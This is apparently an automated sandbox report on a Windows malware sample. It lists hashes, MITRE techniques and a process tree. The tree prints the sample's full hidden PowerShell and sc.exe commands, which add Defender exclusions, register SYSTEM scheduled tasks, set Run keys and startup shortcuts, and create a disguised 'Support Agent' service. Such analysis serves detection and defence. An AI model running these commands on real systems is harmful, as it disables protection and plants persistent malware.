0e4061ca4531599d0654df96b069e5a2897f7535371bad51e5490a1693626bea

Analysis

max time kernel
149s
max time network
142s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
15/04/2026, 18:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe
Size 7.4MB
Sample260415-xdhr6aa18z
SHA256 0e4061ca4531599d0654df96b069e5a2897f7535371bad51e5490a1693626bea
MD5 df07e1ea72aa2c1926efce00bdc21a60
SHA1 d82c82f88357a33d208f05d17ebe1f5a0577fb0a
SHA512 e9e158409c40f311fe2b36b2efd88c195703a43ebc3d32752cc160d9941f94b01104ae9e9c69965beb945369c477c7302a9a341bb415886c11ee2e9a8c121ee7
SSDEEP 98304:368h2LyXWy+MKKy19ogx4O6Kh61+CrKcigR:368h2LyXWy3KKy19ogx4hKhK5mcigR
TLSH
T1FD769E69B6BC00D9D87AC2BCC6465217E7B2B81517B057DF1A6486FA0F63AE01E7F700
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3156	powershell.exe
1336	powershell.exe
5588	powershell.exe
4144	powershell.exe
1744	powershell.exe
3684	powershell.exe
5188	powershell.exe
2444	powershell.exe
4104	powershell.exe
2472	powershell.exe
3156	powershell.exe
2444	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SupportAgent.lnk	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SupportAgent.lnk	powershell.exe

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SupportAgent = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe"	2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SupportAgent = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe"	2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SupportAgent = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe"	2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SupportAgent = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe"	2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe

Launches sc.exe 6 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5664	sc.exe
3824	sc.exe
2560	sc.exe
5728	sc.exe
3664	sc.exe
3660	sc.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

pid	Process
3156	powershell.exe
3156	powershell.exe
3684	powershell.exe
3684	powershell.exe
5188	powershell.exe
5188	powershell.exe
1336	powershell.exe
1336	powershell.exe
5588	powershell.exe
5588	powershell.exe
2444	powershell.exe
2444	powershell.exe
4104	powershell.exe
4104	powershell.exe
4144	powershell.exe
4144	powershell.exe
2472	powershell.exe
2472	powershell.exe
1744	powershell.exe
1744	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3156	powershell.exe
Token: SeDebugPrivilege	3684	powershell.exe
Token: SeIncreaseQuotaPrivilege	3684	powershell.exe
Token: SeSecurityPrivilege	3684	powershell.exe
Token: SeTakeOwnershipPrivilege	3684	powershell.exe
Token: SeLoadDriverPrivilege	3684	powershell.exe
Token: SeSystemProfilePrivilege	3684	powershell.exe
Token: SeSystemtimePrivilege	3684	powershell.exe
Token: SeProfSingleProcessPrivilege	3684	powershell.exe
Token: SeIncBasePriorityPrivilege	3684	powershell.exe
Token: SeCreatePagefilePrivilege	3684	powershell.exe
Token: SeBackupPrivilege	3684	powershell.exe
Token: SeRestorePrivilege	3684	powershell.exe
Token: SeShutdownPrivilege	3684	powershell.exe
Token: SeDebugPrivilege	3684	powershell.exe
Token: SeSystemEnvironmentPrivilege	3684	powershell.exe
Token: SeRemoteShutdownPrivilege	3684	powershell.exe
Token: SeUndockPrivilege	3684	powershell.exe
Token: SeManageVolumePrivilege	3684	powershell.exe
Token: 33	3684	powershell.exe
Token: 34	3684	powershell.exe
Token: 35	3684	powershell.exe
Token: 36	3684	powershell.exe
Token: SeIncreaseQuotaPrivilege	3684	powershell.exe
Token: SeSecurityPrivilege	3684	powershell.exe
Token: SeTakeOwnershipPrivilege	3684	powershell.exe
Token: SeLoadDriverPrivilege	3684	powershell.exe
Token: SeSystemProfilePrivilege	3684	powershell.exe
Token: SeSystemtimePrivilege	3684	powershell.exe
Token: SeProfSingleProcessPrivilege	3684	powershell.exe
Token: SeIncBasePriorityPrivilege	3684	powershell.exe
Token: SeCreatePagefilePrivilege	3684	powershell.exe
Token: SeBackupPrivilege	3684	powershell.exe
Token: SeRestorePrivilege	3684	powershell.exe
Token: SeShutdownPrivilege	3684	powershell.exe
Token: SeDebugPrivilege	3684	powershell.exe
Token: SeSystemEnvironmentPrivilege	3684	powershell.exe
Token: SeRemoteShutdownPrivilege	3684	powershell.exe
Token: SeUndockPrivilege	3684	powershell.exe
Token: SeManageVolumePrivilege	3684	powershell.exe
Token: 33	3684	powershell.exe
Token: 34	3684	powershell.exe
Token: 35	3684	powershell.exe
Token: 36	3684	powershell.exe
Token: SeIncreaseQuotaPrivilege	3684	powershell.exe
Token: SeSecurityPrivilege	3684	powershell.exe
Token: SeTakeOwnershipPrivilege	3684	powershell.exe
Token: SeLoadDriverPrivilege	3684	powershell.exe
Token: SeSystemProfilePrivilege	3684	powershell.exe
Token: SeSystemtimePrivilege	3684	powershell.exe
Token: SeProfSingleProcessPrivilege	3684	powershell.exe
Token: SeIncBasePriorityPrivilege	3684	powershell.exe
Token: SeCreatePagefilePrivilege	3684	powershell.exe
Token: SeBackupPrivilege	3684	powershell.exe
Token: SeRestorePrivilege	3684	powershell.exe
Token: SeShutdownPrivilege	3684	powershell.exe
Token: SeDebugPrivilege	3684	powershell.exe
Token: SeSystemEnvironmentPrivilege	3684	powershell.exe
Token: SeRemoteShutdownPrivilege	3684	powershell.exe
Token: SeUndockPrivilege	3684	powershell.exe
Token: SeManageVolumePrivilege	3684	powershell.exe
Token: 33	3684	powershell.exe
Token: 34	3684	powershell.exe
Token: 35	3684	powershell.exe

Suspicious use of WriteProcessMemory 32 IoCs

description	pid	Process	procid_target
PID 1708 wrote to memory of 5744	1708	2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe	86
PID 5744 wrote to memory of 3156	5744	cmd.exe	88
PID 1708 wrote to memory of 2936	1708	2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe	89
PID 2936 wrote to memory of 3684	2936	cmd.exe	91
PID 1708 wrote to memory of 5176	1708	2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe	93
PID 5176 wrote to memory of 5188	5176	cmd.exe	95
PID 1708 wrote to memory of 5412	1708	2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe	96
PID 5412 wrote to memory of 1336	5412	cmd.exe	98
PID 1708 wrote to memory of 2876	1708	2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe	99
PID 2876 wrote to memory of 5588	2876	cmd.exe	102
PID 5576 wrote to memory of 364	5576	2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe	105
PID 1708 wrote to memory of 2608	1708	2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe	107
PID 364 wrote to memory of 2444	364	cmd.exe	108
PID 2608 wrote to memory of 3824	2608	cmd.exe	110
PID 1708 wrote to memory of 5876	1708	2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe	111
PID 5576 wrote to memory of 5952	5576	2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe	113
PID 5876 wrote to memory of 2560	5876	cmd.exe	115
PID 1708 wrote to memory of 1912	1708	2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe	116
PID 5952 wrote to memory of 4104	5952	cmd.exe	118
PID 1912 wrote to memory of 5728	1912	cmd.exe	119
PID 5576 wrote to memory of 5784	5576	2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe	120
PID 5784 wrote to memory of 4144	5784	cmd.exe	122
PID 5576 wrote to memory of 808	5576	2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe	123
PID 808 wrote to memory of 2472	808	cmd.exe	125
PID 5576 wrote to memory of 5580	5576	2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe	126
PID 5580 wrote to memory of 1744	5580	cmd.exe	128
PID 5576 wrote to memory of 5660	5576	2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe	129
PID 5660 wrote to memory of 3664	5660	cmd.exe	131
PID 5576 wrote to memory of 3304	5576	2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe	132
PID 3304 wrote to memory of 3660	3304	cmd.exe	134
PID 5576 wrote to memory of 5356	5576	2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe	135
PID 5356 wrote to memory of 5664	5356	cmd.exe	137

C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe"
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1708
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "$ErrorActionPreference='SilentlyContinue';Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe';Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp';Add-MpPreference -ExclusionPath 'C:\ProgramData\SupportAgent';Add-MpPreference -ExclusionProcess '2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe'"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5744
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "$ErrorActionPreference='SilentlyContinue';Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe';Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp';Add-MpPreference -ExclusionPath 'C:\ProgramData\SupportAgent';Add-MpPreference -ExclusionProcess '2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3156
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe';$t = New-ScheduledTaskTrigger -AtStartup;$s = New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -RestartCount 3 -RestartInterval (New-TimeSpan -Minutes 1);$p = New-ScheduledTaskPrincipal -UserId 'SYSTEM' -RunLevel Highest -LogonType ServiceAccount;Register-ScheduledTask -Force -TaskName 'SupportAgent' -Action $a -Trigger $t -Settings $s -Principal $p"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2936
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe';$t = New-ScheduledTaskTrigger -AtStartup;$s = New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -RestartCount 3 -RestartInterval (New-TimeSpan -Minutes 1);$p = New-ScheduledTaskPrincipal -UserId 'SYSTEM' -RunLevel Highest -LogonType ServiceAccount;Register-ScheduledTask -Force -TaskName 'SupportAgent' -Action $a -Trigger $t -Settings $s -Principal $p"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3684
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe';$t = New-ScheduledTaskTrigger -AtLogOn;$s = New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable;$p = New-ScheduledTaskPrincipal -UserId 'SYSTEM' -RunLevel Highest -LogonType ServiceAccount;Register-ScheduledTask -Force -TaskName 'SupportAgentLogon' -Action $a -Trigger $t -Settings $s -Principal $p"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5176
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe';$t = New-ScheduledTaskTrigger -AtLogOn;$s = New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable;$p = New-ScheduledTaskPrincipal -UserId 'SYSTEM' -RunLevel Highest -LogonType ServiceAccount;Register-ScheduledTask -Force -TaskName 'SupportAgentLogon' -Action $a -Trigger $t -Settings $s -Principal $p"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:5188
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "$ws = New-Object -ComObject WScript.Shell;$s = $ws.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SupportAgent.lnk');$s.TargetPath = 'C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe';$s.WindowStyle = 7;$s.Save()"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5412
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "$ws = New-Object -ComObject WScript.Shell;$s = $ws.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SupportAgent.lnk');$s.TargetPath = 'C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe';$s.WindowStyle = 7;$s.Save()"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops startup file
    - Suspicious behavior: EnumeratesProcesses
    PID:1336
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "$ws = New-Object -ComObject WScript.Shell;$s = $ws.CreateShortcut('C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\SupportAgent.lnk');$s.TargetPath = 'C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe';$s.WindowStyle = 7;$s.Save()"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2876
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "$ws = New-Object -ComObject WScript.Shell;$s = $ws.CreateShortcut('C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\SupportAgent.lnk');$s.TargetPath = 'C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe';$s.WindowStyle = 7;$s.Save()"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:5588
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc create SupportAgent binPath= "C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe" start= auto DisplayName= "Support Agent"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2608
- - C:\Windows\system32\sc.exe
    sc create SupportAgent binPath= "C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe" start= auto DisplayName= "Support Agent"
    3⤵
    - Launches sc.exe
    PID:3824
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc description SupportAgent "Support Agent remote management service"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5876
- - C:\Windows\system32\sc.exe
    sc description SupportAgent "Support Agent remote management service"
    3⤵
    - Launches sc.exe
    PID:2560
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc failure SupportAgent reset= 60 actions= restart/5000/restart/10000/restart/30000
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1912
- - C:\Windows\system32\sc.exe
    sc failure SupportAgent reset= 60 actions= restart/5000/restart/10000/restart/30000
    3⤵
    - Launches sc.exe
    PID:5728

C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe
C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:5576
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "$ErrorActionPreference='SilentlyContinue';Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe';Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp';Add-MpPreference -ExclusionPath 'C:\ProgramData\SupportAgent';Add-MpPreference -ExclusionProcess '2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe'"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:364
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "$ErrorActionPreference='SilentlyContinue';Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe';Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp';Add-MpPreference -ExclusionPath 'C:\ProgramData\SupportAgent';Add-MpPreference -ExclusionProcess '2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2444
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe';$t = New-ScheduledTaskTrigger -AtStartup;$s = New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -RestartCount 3 -RestartInterval (New-TimeSpan -Minutes 1);$p = New-ScheduledTaskPrincipal -UserId 'SYSTEM' -RunLevel Highest -LogonType ServiceAccount;Register-ScheduledTask -Force -TaskName 'SupportAgent' -Action $a -Trigger $t -Settings $s -Principal $p"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5952
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe';$t = New-ScheduledTaskTrigger -AtStartup;$s = New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -RestartCount 3 -RestartInterval (New-TimeSpan -Minutes 1);$p = New-ScheduledTaskPrincipal -UserId 'SYSTEM' -RunLevel Highest -LogonType ServiceAccount;Register-ScheduledTask -Force -TaskName 'SupportAgent' -Action $a -Trigger $t -Settings $s -Principal $p"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4104
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe';$t = New-ScheduledTaskTrigger -AtLogOn;$s = New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable;$p = New-ScheduledTaskPrincipal -UserId 'SYSTEM' -RunLevel Highest -LogonType ServiceAccount;Register-ScheduledTask -Force -TaskName 'SupportAgentLogon' -Action $a -Trigger $t -Settings $s -Principal $p"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5784
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe';$t = New-ScheduledTaskTrigger -AtLogOn;$s = New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable;$p = New-ScheduledTaskPrincipal -UserId 'SYSTEM' -RunLevel Highest -LogonType ServiceAccount;Register-ScheduledTask -Force -TaskName 'SupportAgentLogon' -Action $a -Trigger $t -Settings $s -Principal $p"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4144
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "$ws = New-Object -ComObject WScript.Shell;$s = $ws.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SupportAgent.lnk');$s.TargetPath = 'C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe';$s.WindowStyle = 7;$s.Save()"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:808
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "$ws = New-Object -ComObject WScript.Shell;$s = $ws.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SupportAgent.lnk');$s.TargetPath = 'C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe';$s.WindowStyle = 7;$s.Save()"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops startup file
    - Suspicious behavior: EnumeratesProcesses
    PID:2472
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "$ws = New-Object -ComObject WScript.Shell;$s = $ws.CreateShortcut('C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\SupportAgent.lnk');$s.TargetPath = 'C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe';$s.WindowStyle = 7;$s.Save()"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5580
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "$ws = New-Object -ComObject WScript.Shell;$s = $ws.CreateShortcut('C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\SupportAgent.lnk');$s.TargetPath = 'C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe';$s.WindowStyle = 7;$s.Save()"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:1744
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc create SupportAgent binPath= "C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe" start= auto DisplayName= "Support Agent"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5660
- - C:\Windows\system32\sc.exe
    sc create SupportAgent binPath= "C:\Users\Admin\AppData\Local\Temp\2026-04-15_df07e1ea72aa2c1926efce00bdc21a60_akira_coinminer_glassworm_icedid_luca-stealer_njrat_stealc.exe" start= auto DisplayName= "Support Agent"
    3⤵
    - Launches sc.exe
    PID:3664
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc description SupportAgent "Support Agent remote management service"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3304
- - C:\Windows\system32\sc.exe
    sc description SupportAgent "Support Agent remote management service"
    3⤵
    - Launches sc.exe
    PID:3660
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc failure SupportAgent reset= 60 actions= restart/5000/restart/10000/restart/30000
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5356
- - C:\Windows\system32\sc.exe
    sc failure SupportAgent reset= 60 actions= restart/5000/restart/10000/restart/30000
    3⤵
    - Launches sc.exe
    PID:5664

Network

